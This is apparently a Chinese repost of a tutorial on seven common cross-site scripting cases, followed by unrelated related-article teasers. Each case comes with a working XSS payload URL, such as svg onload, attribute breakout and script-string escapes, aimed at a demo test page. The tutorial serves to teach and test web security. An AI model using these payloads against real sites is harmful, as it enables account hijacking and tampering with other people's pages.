1. URL Reflection

当URL以某种方式反映在源代码中时,我们可以添加自己的XSS向量/有效负载。对于PHP页面,可以使用斜杠字符(/)在页面名称之后添加任何内容

http://brutelogic.com.br/xss.php/”><svg onload=alert(1)>

需要使用前导标记(“>”)来突破当前标记,以便插入新标记

2. Simple HTMLi (HTML injection)

最简单的输入,恰好在现有标签之间的代码中,在它们之前或之后。无需逃避或破坏任何东西,任何简单的XSS向量(<tag handler=jsCode>)都能完成

http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>

3. Inline HTMLi

几乎与前一个一样简单,但有一点“>前置突破当前标签

http://brutelogic.com.br/xss.php?b1=”><svg onload=alert(1)>

4. Inline HTMLi: No Tag Breaking

当输入登陆HTML属性并且过滤大于字符(>)时,就不可能像前一种情况那样打破当前标记

http://brutelogic.com.br/xss.php?b3=” onmouseover=alert(1)// 这样既可突破

它关闭了值并为插入onmouseover事件处理程序提供了空间。指向警报(1)后跟双斜线以注释悬挂引号,当受害者将他/她的鼠标指向受影响的输入字段时触发js弹出窗口

5. HTMLi in Js (Javascript) Block

输入有时会进入javascript块(脚本标记),通常是代码的某个变量的值。但是因为HTML标记在浏览器的解析中具有优先权,所以我们可以简单地终止块并插入新标记

http://brutelogic.com.br/xss.php?c1=</script><svg onload=alert(1)>

6. Simple Js Injection

所以要走的是注入javascript代码,尊重语法。一种已知的方法是将易受攻击的变量的值“连接”到我们想要执行的代码。因为我们不能让任何引号挂起,我们首先断开,连接到我们的代码(带减号),然后反向(连接然后插入引号)以获得有效的javascript语法

http://brutelogic.com.br/xss.php?c3=’-alert(1)-‘

7. Escaped Js Injection

在前一种情况下,如果使用反斜杠(\)转义引号(负责转出变量的值),则注入将不起作用(语法无效)。

为此,我们有一个小技巧:逃避逃脱。我们插入一个前导反斜杠来逃避添加的反斜杠然后报价将起作用。在“连接”到我们想要的js代码之后,我们需要注释掉其余部分,因为在注入的剩余部分没有办法重复该过程。

http://brutelogic.com.br/xss.php?c5=\’-alert(1)//

转载:

https://brutelogic.com.br/blog/the-7-main-xss-cases-everyone-should-know/

常见的7种XSS的更多相关文章

  1. Java常见的几种内存溢出及解决方法

    Java常见的几种内存溢出及解决方法[情况一]:java.lang.OutOfMemoryError:Javaheapspace:这种是java堆内存不够,一个原因是真不够(如递归的层数太多等),另一 ...

  2. java中常见的几种Runtimeexception

    转自http://blog.csdn.net/qq635785620/article/details/7781026 一般面试中java Exception(runtimeException )是必会 ...

  3. JS 跨域问题常见的五种解决方式

    一.什么是跨域? 要理解跨域问题,就先理解好概念.跨域问题是由于javascript语言安全限制中的同源策略造成的. 简单来说,同源策略是指一段脚本只能读取来自同一来源的窗口和文档的属性,这里的同一来 ...

  4. 常见的几种RuntimeException

    一般面试中java Exception(runtimeException )是必会被问到的问题 常见的异常列出四五种,是基本要求.更多的....需要注意积累了   常见的几种如下:   NullPoi ...

  5. 避免常见的6种HTML5错误用法

    一.不要使用section作为div的替代品 人们在标签使用中最常见到的错误之一就是随意将HTML5的<section>等价于<div>——具体地说,就是直接用作替代品(用于样 ...

  6. WCF中常见的几种Host,承载WCF服务的方法

    1:写在前面 我们都知道WCF在运行的时候必须自己提供宿主来承载服务.WCF 本身没有附带宿主,而是提供了一个 ServiceHost 的类,该类允许您在自己的应用程序中host WCF 服务.然后调 ...

  7. Java 获取*.properties配置文件中的内容 ,常见的两种方法

    import java.io.InputStream; import java.util.Enumeration; import java.util.List; import java.util.Pr ...

  8. C++中常见的几种异常类型

    1.C++具有完善的异常捕获机制,采用try{}  catch(){}机制,这是C语言无法比拟的 2.常见的几种异常: bad_alloc:       请求分配内存失败, operator new ...

  9. ORACLE中常见的几种锁

    ORACLE中常见的几种锁: 0:none 1:null 空 2:Row-S 行共享(RS):共享表锁,sub share 3:Row-X 行独占(RX):用于行的修改,sub exclusive 4 ...

随机推荐

  1. 一文带你了解 Spring 5.0 WebFlux 应用场景

    一.什么是 Spring WebFlux 下图截自 Spring Boot 官方网站: 结合上图,在了解 Spring WebFlux 之前,我们先来对比说说什么是 Spring MVC,这更有益我们 ...

  2. 对Tomcat 8.0进行JVM层面的优化(基于Oracle JDK 8)

    目录 1 Tomcat的内存调优 1.1 Tomcat的内存占用 1.2 内存配置相关参数 1.3 内存调优实践 1.4 验证配置效果 2 GC策略调优实践 Tomcat容器是运行在JVM上的, 其默 ...

  3. Git协同工作流介绍

    git相关的文章和教程非常多,但是系统介绍和了解工作流的人并不多,在使用过程中用错或用偏的也不少,这里分享的是,假设你已经入门的情况下,我们如何去选择适合团队需要的工作流. git优势 这里先唠叨gi ...

  4. 【JDBC 笔记】

    JDBC 笔记 作者:晨钟暮鼓c个人微信公众号:程序猿的月光宝盒 对应pdf版:https://download.csdn.net/download/qq_22430159/10754554 没有积分 ...

  5. arcgis api 4.x for js 离线部署

    在我的GIS之家群里,经常遇到 webgis 开发新手们提问 arcgis api for js 如何本地离线部署,而不是直接调用在线的,因为在线模式依赖互联网以及网速环境因素,受到的限制影响比较大. ...

  6. 需求分析&用例编写

    一.需求分析? 1.什么是需求 软件产品必须完成的是以及必须具备的品质. 功能性需求:产品必须完成的那些事,要求一定的功能和品质. 例子:淘宝的用户名登录. 非功能性需求:产品必须具备的属性和品质.诸 ...

  7. Error:"MetaStoreClient lost connection. Attempting to reconnect (1 of 24) after 5s. getCurrentNotificationEventId" occurs as HiveServer2 fails to start as it cannot connect to Metastore in HDP 3.0

    SupportKB Problem Description:After upgrading to HDP 3.0, the HiveServer2 fails to start and the fol ...

  8. ambari2.6.50 openssl 版本问题:SSLError: Failed to connect. Please check openssl library versions. Openssl error upon host registration

    I'm trying to register hostnames in Ambari but getting the error below. We tried to run yum update o ...

  9. sdk和api的区别

    SDK SDK是Software Development Kit的缩写,中文意思是“软件开发工具包”.这是一个覆盖面相当广泛的名词,可以这么说:辅助开发某一类软件的相关文档.范例和工具的集合都可以叫做 ...

  10. Node.js 事件循环机制

    Node.js 采用事件驱动和异步 I/O 的方式,实现了一个单线程.高并发的 JavaScript 运行时环境,而单线程就意味着同一时间只能做一件事,那么 Node.js 如何通过单线程来实现高并发 ...